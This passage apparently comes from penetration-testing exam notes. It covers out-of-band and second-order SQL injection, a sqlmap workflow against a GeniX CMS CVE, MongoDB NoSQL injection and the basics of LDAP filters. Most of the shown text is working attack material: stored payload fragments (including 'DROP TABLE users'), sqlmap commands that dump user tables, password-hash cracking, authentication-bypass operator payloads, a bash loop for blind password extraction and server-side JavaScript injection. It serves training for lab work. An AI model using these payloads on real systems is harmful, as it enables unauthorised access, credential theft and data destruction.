• MySQL OOB only works on Windows (UNC paths). Fingerprint the OS with @@version / @@version_compile_os before burning time on LOAD_FILE.
• Hex-encode (HEX(), sys.fn_varbintohexstr, RAWTOHEX) everything you push into a DNS label. Raw values contain @, spaces, $ and case distinctions that DNS destroys.
• 63 characters per label, ~253 per FQDN. Chunk with SUBSTR/SUBSTRING and tag each chunk with a sequence label.
• Seeing an ORA-24247 (Oracle ACL) or an SMB auth failure in your listener still proves the injection — record it.
• interactsh shows DNS and HTTP interactions separately with timestamps; a DNS hit with no HTTP hit means the resolver worked but the DB could not reach you on TCP.

4.3 Second-Order SQL Injection

4.3.1 First-order vs second-order

First-order (everything in §§1–3 and §4.1–4.2): you inject, the same request's query executes the payload, and you observe the result in that request/response cycle (directly, boolean-differentially, or via a timer). Injection point and observation point are the same transaction.

Second-order (stored) SQLi: the payload is stored safely on the first request — the insert path is parameterised or escaped, so nothing happens and the app reports success — and is later read back out of the database and concatenated into a second, different query that is not parameterised. The injection fires in that second query, possibly minutes later, possibly triggered by a different user (an admin viewing a profile, a cron/report job, a search page).

Why it happens: developers treat data coming out of their own database as trusted. Escaping is applied at the boundary (input) but the stored string is later re-used as SQL source text.

Phase 1 (injection):  register(username="admin'-- ")   ->  INSERT ... VALUES ('admin\'-- ')   [stored, escaped, inert]
Phase 2 (trigger):    admin panel / profile page       ->  SELECT * FROM users WHERE username='admin'-- '   [fires]
Phase 3 (impact):     data leak, privesc, DROP, UPDATE of another user's row

4.3.2 Payload design

The stored value is usually a fragment, not a complete query. You are supplying the tail end of a statement that the second query supplies the head of. Keep it short — registration fields are often length-limited — and remember it must survive escaping as data on the way in.

-- Stored as a username/bio; fires when a second query concatenates it into a WHERE clause
admin'-- 

-- Classic stacked destructive fragment (the transcript's worked example)
'; DROP TABLE users-- 

-- Subquery fragments that return data when the second query renders the field
(SELECT database())
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
(SELECT user())

-- UNION fragment for a second query of the form: SELECT bio FROM users WHERE name='<stored>'
' UNION SELECT group_concat(username,':',password) FROM users-- 

-- Error-based fragment (MySQL) - useful when the second query's output is never rendered
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- 

-- Time-based fragment - the only reliable oracle when the trigger page is not visible to you
' AND (SELECT SLEEP(5))-- 

-- Privilege escalation via a second-order UPDATE sink
admin', role='admin'-- 

4.3.3 How to find it

1. Map every store→display pair. For each field you can write (username, display name, bio, address, filename, comment, search-history entry, referrer, User-Agent) find every place it is later rendered: profile page, admin list, search results, exported CSV/PDF, email templates, logs.
2. Plant a canary in every writable field, uniquely tagged so you can tell which field fired:
   Copy

   a1'-- 
   a2'"()|{}
   a3' AND SLEEP(7)-- 
   

3. Walk the whole application afterwards — including pages you do not normally visit — looking for 500s, blank sections, truncated output or delays. The error surfaces on the trigger page, not the injection page.
4. Re-read your own record through every path: profile view, edit form, search for yourself, sort/filter by that column, change password, password-reset flow.
5. If an admin-only page is the trigger, you may have to rely on a blind oracle (a sleep you can time via a shared resource, or an OOB callback from §4.2) because you never see the admin's response.

4.3.4 sqlmap second-order automation

sqlmap cannot guess that the result appears somewhere else; you must tell it where to look after each injected request.

# --second-url : after sending each payload to the injection point, sqlmap fetches this URL
# and searches ITS response for the injection's effect.
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT&password=p" \
  -p bio --second-url="http://target/profile.php?name=test" --batch

# --second-req : same idea but the trigger is a full saved HTTP request (needed when the
# trigger page requires POST, custom headers, or a different/admin session cookie).
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT" -p bio \
  --second-req=trigger.txt --batch

# Older sqlmap releases spell the first switch --second-order; if --second-url is rejected, use:
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT" -p bio \
  --second-order="http://target/profile.php?name=test" --batch

# Second-order through an injectable header, with the trigger page elsewhere
sqlmap -u "http://target/" -H "User-Agent: Mozilla/5.0*" \
  --second-url="http://target/stats.php" --level=3 --batch

# Because each test costs two requests, constrain the run hard
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT" -p bio \
  --second-url="http://target/profile.php?name=test" \
  --technique=BEST --level=3 --risk=2 --threads=1 --batch

A practical wrinkle: most registration forms reject a duplicate username, so sqlmap's repeated identical requests fail after the first. Either point the injection at a field that can be re-submitted (bio, address, comment) or use --eval to randomise the unique field on every request:

# Randomise the username each request so registration keeps succeeding
sqlmap -u "http://target/register.php" --data="username=u1&bio=INJECT&password=p" -p bio \
  --eval="import random; username='u%d'%random.randint(1,10**9)" \
  --second-url="http://target/profile.php" --batch

4.3.5 Exam tips

• If a field is "not injectable" first-order but clearly gets stored, go look at where it is displayed. That is the single highest-yield move in the whole section.
• The trigger query is often an admin/report feature. Register the payload, then re-authenticate as any higher-privilege account you have or wait for the periodic job.
• Anti-CSRF tokens on the registration form will break naive sqlmap runs; use --csrf-token=<param> and --csrf-url=<form url>, or answer "no" when sqlmap offers to auto-update the token and supply a fresh saved request instead.
• Keep fragments short and quote-balanced-on-purpose. A payload that is valid SQL on the way in will often be executed first-order instead, which is a different (and noisier) finding.
• Prove impact with a read (SELECT database()), never with DROP/UPDATE, on a lab you still need.

4.4 Known-CVE Exploitation Workflow (worked example: GeniX CMS SQLi, CVE-2015-3933)

Exam labs frequently host a real, outdated CMS. The fastest route is almost never a from-scratch discovery — but the reliable route is to confirm the flaw yourself rather than trust the PoC blindly. The GeniX CMS case is instructive because the public PoC is incomplete: it documents one vulnerable parameter while a second one is also injectable.

4.4.1 Step 1 — identify the product and exact version

# Version strings are usually in the footer, the generator meta tag, a README, or a changelog
curl -s http://target/ | grep -iE "generator|genix|version|powered by"
curl -s http://target/readme.txt http://target/CHANGELOG.md http://target/composer.json

# Fingerprint the stack and look for version-bearing paths
whatweb -a 3 http://target/
nmap -sV -p- --min-rate 2000 target

4.4.2 Step 2 — search for a public vulnerability

# Local Exploit-DB mirror (ships with Kali)
searchsploit genix
searchsploit genix cms

# Read the PoC without copying it out of the database
searchsploit -x 37835            # open the entry by its EDB-ID
searchsploit -m 37835            # mirror it into the current directory
cat /usr/share/exploitdb/exploits/php/webapps/37835.txt

# Keep the local copy current before relying on a negative result
searchsploit -u

# Cross-check the CVE for affected version ranges and the exact vulnerable parameter
# nvd.nist.gov/vuln/detail/CVE-2015-3933  |  cve.mitre.org  |  vendor changelog/commit diff

CVE-2015-3933 describes SQL injection in register.php of GeniX CMS 0.0.3 via the email parameter.

4.4.3 Step 3 — reach the vulnerable code path

# Locate the endpoint the advisory names and capture a legitimate request through Burp/ZAP
# Register a real account first: you need the exact parameter names and any anti-CSRF token.
# GeniX register.php body:  user_id=...&pass1=...&pass2=...&email=...&token=...

4.4.4 Step 4 — verify with sqlmap, built by hand from the intercepted request

Building the command manually (rather than always using -r request.txt) is the skill the lab is testing: you should be able to reconstruct a scan from your own observation of the traffic.

# Test EVERY body parameter - do not assume the advisory is complete
sqlmap -u "http://target/register.php" \
  --data="user_id=alexis&pass1=Passw0rd&pass2=Passw0rd&email=alexis@test.com&token=abc" \
  --threads=3

# Then pin the parameter the CVE names
sqlmap -u "http://target/register.php" \
  --data="user_id=alexis&pass1=Passw0rd&pass2=Passw0rd&email=alexis@test.com&token=abc" \
  -p email --batch

# And confirm the parameter the CVE does NOT name (the transcript's finding: user_id is
# also injectable - error-based and time-based - even though the PoC only lists email)
sqlmap -u "http://target/register.php" \
  --data="user_id=alexis&pass1=Passw0rd&pass2=Passw0rd&email=alexis@test.com&token=abc" \
  -p user_id --batch

# Handle the anti-CSRF token and the session cookie sqlmap warns about
sqlmap -u "http://target/register.php" --data="user_id=a&pass1=p&pass2=p&email=a@b.c&token=abc" \
  -p email --csrf-token=token --csrf-url="http://target/register.php" --batch

# Escalate depth only if the defaults find nothing
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email \
  --level=5 --risk=3 --technique=BEUST --batch

4.4.5 Step 5 — enumerate and answer the question

sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email --dbs --batch
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email -D app --tables --batch
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email -D app -T user --columns --batch
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email -D app -T user --dump --batch

# Skip sqlmap's hash-cracking prompt (it wastes minutes with the default wordlist)
sqlmap ... --dump --batch --no-cast

# Identify recovered hashes offline instead
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
hash-identifier
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

4.4.6 Adapting a PoC that does not work as written

4.4.7 Exam tips

• Never stop at the CVE's named parameter. Let sqlmap test the whole request body first; public PoCs are routinely incomplete, and the extra parameter may be the one with the technique you need.
• Answer "no" to "do you want to automatically update the anti-CSRF token?" only when you are supplying it yourself; otherwise let sqlmap handle it.
• Answer "yes" to "do you want sqlmap to use its own cookie?" — sqlmap handles session cookies for you, which is why a hand-built command works without --cookie.
• Answer "no" to "target URL is not stable" prompts and just continue; instability usually comes from a CSRF token or a timestamp, not from your payload.
• Record the exact payload sqlmap prints in the "sqlmap identified the following injection point(s)" block — that string, not the tool run, is your PoC for the report.
• --batch for speed once you know the answers; drop it while you are still learning the app's prompts.

4.5 NoSQL Injection (MongoDB)

4.5.1 NoSQL vs SQL — what actually changes

Terminology map: database → database, table → collection, row/record → document, column → field. There is no information_schema; you enumerate structure with show dbs, show collections and by reading documents.

Consequences for the attacker:

• There is no UNION SELECT and no comment syntax to neutralise the rest of the query. You cannot "append a second query" the way you do in SQL.
• Instead you change the query's logic by substituting an operator object where the application expected a scalar string. {"user":"admin"} becomes {"user":{"$ne":"x"}}.
• Because MongoDB accepts JavaScript in $where and in map-reduce, a second, far more powerful class of injection exists: server-side JavaScript injection.
• A single ' usually produces nothing — MongoDB is not parsing SQL. Absence of a quote-error does not mean absence of injection; test with operators instead.

4.5.2 Mongo shell baseline (know these for the lab)

// Enumerate the server
show dbs                              // list databases
use users                             // select database
show collections                      // list collections (== SHOW TABLES)
db.help()                             // db-level methods
db.current.help()                     // collection-level methods

// Read documents
db.current.find()                     // all documents in the collection
db.current.find().pretty()            // readable formatting
db.current.find({user:"Heather"})     // exact match (CASE SENSITIVE)
db.current.findOne({user:"admin"})    // first match only
db.banned.find().count()              // number of documents matching
db.banned.count()                     // documents in the collection

// Operator queries
db.city.find({pop:{$gt:15000}}).count()                       // greater than
db.city.find({pop:{$lt:100}})                                 // less than
db.city.find({$and:[{pop:{$gt:15000}},{state:"FL"}]}).count() // AND
db.city.find({$or:[{pop:{$lt:100}},{state:"FL"}]}).count()    // OR
db.city.find({city:{$regex:"^SA"}})                           // regex, anchored
db.city.aggregate([{$group:{_id:null,avg:{$avg:"$pop"}}}])    // aggregation

4.5.3 MQL operator reference (the injection primitives)

4.5.4 Injection contexts: JSON body vs URL-encoded parameters

Context A — JSON request body (REST/API login). The app does db.users.findOne(req.body) or splices req.body.username straight in. You replace a string value with an object:

{"username":"admin","password":"secret"}

{"username":"admin","password":{"$ne":"x"}}

Context B — URL-encoded form / query string. Express (qs/body-parser), PHP and Rails all parse bracket notation into a nested structure, so param[$ne]=1 arrives at the application as the object {"$ne":"1"}. This is what makes NoSQLi reachable from a plain HTML form:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username[$ne]=1&password[$ne]=1

GET /search?name[$ne]=admin HTTP/1.1

Always try both contexts: flip Content-Type: application/x-www-form-urlencoded to application/json (and rewrite the body) when the bracket form is rejected, and vice-versa.

4.5.5 Authentication bypass payloads

Vulnerable pattern:

// Node/Express - user input goes straight into the filter object
var query = {username: req.body.username, password: req.body.password};
db.collection('users').findOne(query, function(err, user){ if(user) login(user); });

JSON body payloads:

{"username":{"$ne":null},"password":{"$ne":null}}

{"username":{"$ne":""},"password":{"$ne":""}}

{"username":"admin","password":{"$ne":"invalid"}}

{"username":"admin","password":{"$gt":""}}

{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":"x"}}

{"username":{"$regex":"^admin$"},"password":{"$regex":".*"}}

{"username":{"$nin":[""]},"password":{"$nin":[""]}}

{"username":{"$exists":true},"password":{"$exists":true}}

URL-encoded equivalents:

username[$ne]=1&password[$ne]=1

username=admin&password[$ne]=x

username=admin&password[$gt]=

username[$regex]=^adm&password[$ne]=x

username[$in][]=admin&username[$in][]=root&password[$ne]=x

GET-parameter form (the lab's search page — ?name=admin becomes an operator object):

/?name[$ne]=admin        # returns every OTHER document -> mass disclosure
/?name[$gt]=             # everything greater than empty string -> all documents
/?name[$nin][]=admin     # everything except admin
/?name[$eq]=admin        # explicit equality (sanity check that brackets are parsed)
/?name[$regex]=.*        # match everything
/?name[$exists]=true     # every document where the field exists

$where string payloads (when the app concatenates into a $where clause):

// injected into:  db.users.find({$where: "this.username == '" + input + "'"})
' || '1'=='1

'; return true; var x='

admin' && this.password.length > 0 || 'a'=='b

4.5.6 Blind extraction with $regex

$regex gives a boolean oracle: the response differs depending on whether the pattern matched. Anchor with ^ and extend one character at a time.

# Step 1 - confirm the account exists
username[$regex]=^admin$&password[$ne]=x

# Step 2 - determine the password length (binary-search the quantifier)
username=admin&password[$regex]=^.{8}$
username=admin&password[$regex]=^.{1,20}$
username=admin&password[$regex]=^.{16,}$

# Step 3 - recover character 1, then 2, then 3 ...
username=admin&password[$regex]=^a
username=admin&password[$regex]=^b
username=admin&password[$regex]=^5f
username=admin&password[$regex]=^5f4

# Character-class narrowing halves the number of requests
username=admin&password[$regex]=^[a-m]
username=admin&password[$regex]=^[0-9]

# Case-insensitive matching when case is unknown
username=admin&password[$regex]=^ADM&password[$options]=i

// Same technique in a JSON body
{"username":"admin","password":{"$regex":"^5f4dcc","$options":"i"}}

Field-name (schema) discovery with $exists:

username=admin&role[$exists]=true
username=admin&isAdmin[$exists]=true
username=admin&apiKey[$exists]=true
username=admin&resetToken[$exists]=true

Automate the character loop:

# Bash oracle loop - adjust the success marker to whatever the app returns on a match
for c in {a..z} {0..9}; do
  r=$(curl -s "http://target/login" -d "username=admin&password[\$regex]=^$PREFIX$c")
  echo "$r" | grep -q "Welcome" && echo "HIT: $PREFIX$c"
done

4.5.7 JavaScript injection via $where and map-reduce

$where evaluates a JavaScript expression once per document, server-side. If user input is concatenated into it, you control JavaScript running inside the database. ($where is disabled when the server runs with --noscripting / javascriptEnabled: false, and was removed from some managed offerings — a failure here is not proof the field is clean.)

// Always-true predicate
{"$where":"1 == 1"}

// Return every document regardless of the intended filter
{"$where":"return true"}

// Boolean oracle on another field - read data one condition at a time
{"$where":"this.password.length == 8"}
{"$where":"this.password[0] == 'a'"}
{"$where":"this.username == 'admin' && this.password.match(/^5f/)"}

// Concatenation-context payloads (input lands inside an existing JS string)
'; return true; //
' || 1==1 //
' || this.role=='admin' || '

// Time-based blind oracle - a busy-wait loop is portable across engine versions
{"$where":"function(){var s=new Date();var n=null;do{n=new Date();}while(n-s<5000);return true;}"}

// sleep() exists in the legacy SpiderMonkey/V8 $where context on older servers
{"$where":"sleep(5000) || true"}

// mapReduce: the map and reduce functions are arbitrary server-side JavaScript.
// If an endpoint takes either function from user input, that is direct JS execution.
db.users.mapReduce(
  function(){ emit(this.username, this.password); },   // map - controlled by the attacker
  function(k,v){ return v.join(","); },                // reduce
  { out: "leak" }
);
db.leak.find();                                        // read the exfiltrated result

// Aggregation equivalents worth testing on modern servers where $where is blocked
db.users.aggregate([{$match:{$expr:{$eq:["$password","$username"]}}}])
db.users.aggregate([{$lookup:{from:"secrets",localField:"_id",foreignField:"uid",as:"s"}}])

4.5.8 Tooling

# SecLists NoSQL payload list - the exact list used in the course lab
sudo apt install seclists
cat /usr/share/seclists/Fuzzing/Databases/NoSQL.txt

# Burp Intruder workflow (the lab method):
#  1. Send the login request to Intruder
#  2. Attack type: Sniper
#  3. Clear auto positions, mark ONLY the password value
#  4. Payloads > Load > /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
#  5. Start attack, sort by Length - the outlier row is the bypass

# NoSQLMap - automated detection/exploitation, Mongo + CouchDB
git clone https://github.com/codingo/NoSQLMap.git && cd NoSQLMap
python3 nosqlmap.py

# nosqli (Charlie Belmer) - fast Go scanner for GET/POST NoSQL injection
go install github.com/Charlie-belmer/nosqli@latest
nosqli scan -t "http://target/login" -r request.txt
nosqli scan -t "http://target/search?name=test"

# PayloadsAllTheThings - canonical payload reference
# github.com/swisskyrepo/PayloadsAllTheThings -> "NoSQL Injection"

# Direct Mongo access if the port is exposed (no auth is a common misconfiguration)
mongosh --host target --port 27017
mongo target:27017/admin
nmap -p 27017 --script mongodb-info,mongodb-databases target

4.5.9 Exam tips

• A ' that produces no error means nothing here. Your first probe is param[$ne]=1, not a quote.
• Try the operator in three shapes before concluding the field is safe: param[$ne]=1 (bracket), {"param":{"$ne":1}} (JSON body), and param=admin&param[$ne]=x (parameter pollution).
• If the login form posts URL-encoded, switching Content-Type to application/json and sending an object often succeeds where brackets are filtered.
• $ne and $gt bypass authentication; $regex extracts data. Get in first, then extract.
• A "search" page that echoes results is the friendliest NoSQLi target in a lab — name[$ne]=x dumps the whole collection in one request.
• $where failing is normal on hardened/modern servers; fall back to $regex blind extraction.
• Remember MongoDB matching is case-sensitive by default — add $options: "i" when a known-good value is not matching.

4.6 LDAP Injection

4.6.1 LDAP essentials

LDAP (Lightweight Directory Access Protocol) is a protocol for querying and modifying directory services over TCP/IP. It is not itself a database. The directory service (Microsoft Active Directory, OpenLDAP, 389-DS) owns the data and its structure; LDAP is how you talk to it.

Data is organised as a Directory Information Tree (DIT): a hierarchy of entries, each an instance of one or more objectClasses, each identified by a unique Distinguished Name (DN) describing its position in the tree.

dc=example,dc=com                    <- root (organisation's domain)
 |- ou=users                         <- organisational unit (container)
 |   |- cn=John Doe,ou=users,dc=example,dc=com    <- entry, addressed by its DN
 |- ou=groups
     |- cn=admins,ou=groups,dc=example,dc=com

Entries are exchanged in LDIF (LDAP Data Interchange Format), plain text:

dn: dc=samplecompany,dc=org
objectClass: dcObject
objectClass: organization

dn: ou=it,dc=samplecompany,dc=org
objectClass: organizationalUnit
ou: it

dn: cn=John Doe,ou=it,dc=samplecompany,dc=org
objectClass: person
cn: John Doe
sn: Doe
uid: jdoe
mail: jdoe@samplecompany.org

Ports: 389 LDAP (plaintext/StartTLS), 636 LDAPS, 3268 Global Catalog, 3269 Global Catalog over TLS.

Web applications use LDAP to (a) authenticate users against directory entries, (b) authorise — check roles/group membership, and (c) query directory data for display.

4.6.2 Search filter syntax (RFC 4515)

Filters are prefix (Polish) notation, fully parenthesised:

(attribute=value)                        simple equality
(&(a=1)(b=2))                            AND  - every clause must match
(|(a=1)(b=2))                            OR   - any clause matches
(!(a=1))                                 NOT
(cn=J*)                                  wildcard - cn starts with uppercase J
(objectClass=*)                          presence - entry has the attribute at all
(&(objectClass=person)(|(sn=a*)(cn=b*))) nesting - operators apply to what follows